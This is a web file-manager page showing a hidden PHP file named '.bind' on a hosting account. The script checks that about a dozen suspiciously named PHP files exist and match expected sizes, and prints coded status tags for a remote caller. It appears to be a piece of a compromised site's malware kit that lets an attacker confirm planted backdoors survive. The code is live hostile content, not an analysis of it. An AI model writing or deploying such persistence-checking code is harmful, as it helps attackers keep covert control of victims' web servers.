← Back
Editing: .bind
<?php $r = '/home/dilsvuwm/test.dilshanabey.com'; $x = ["/ms.conf.php"=>"bd@@1196317@@873", "/ms.popup.php"=>"bd@@1192129@@906", "/ms.php"=>"bd@@1188439@@910", "/listsav.categ.php"=>"bd@@1481807@@957", "/listsav.popup.php"=>"bd@@1192025@@59", "/listsav.conf.php"=>"bd@@1196125@@73", "/function.popup.php"=>"bd@@1192075@@90", "/_conf.php"=>"bd@@1196171@@70", "/listsav.php"=>"bd@@1196206@@27", "/ms.php"=>"bd@@1196242@@4", "/ms.popup.php"=>"bd@@1196267@@1", "/function.conf.php"=>"bd@@1191926@@77"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d</$t>\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs</$t>\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d</$t>\n"; } } } die('!end!');
Save File
Cancel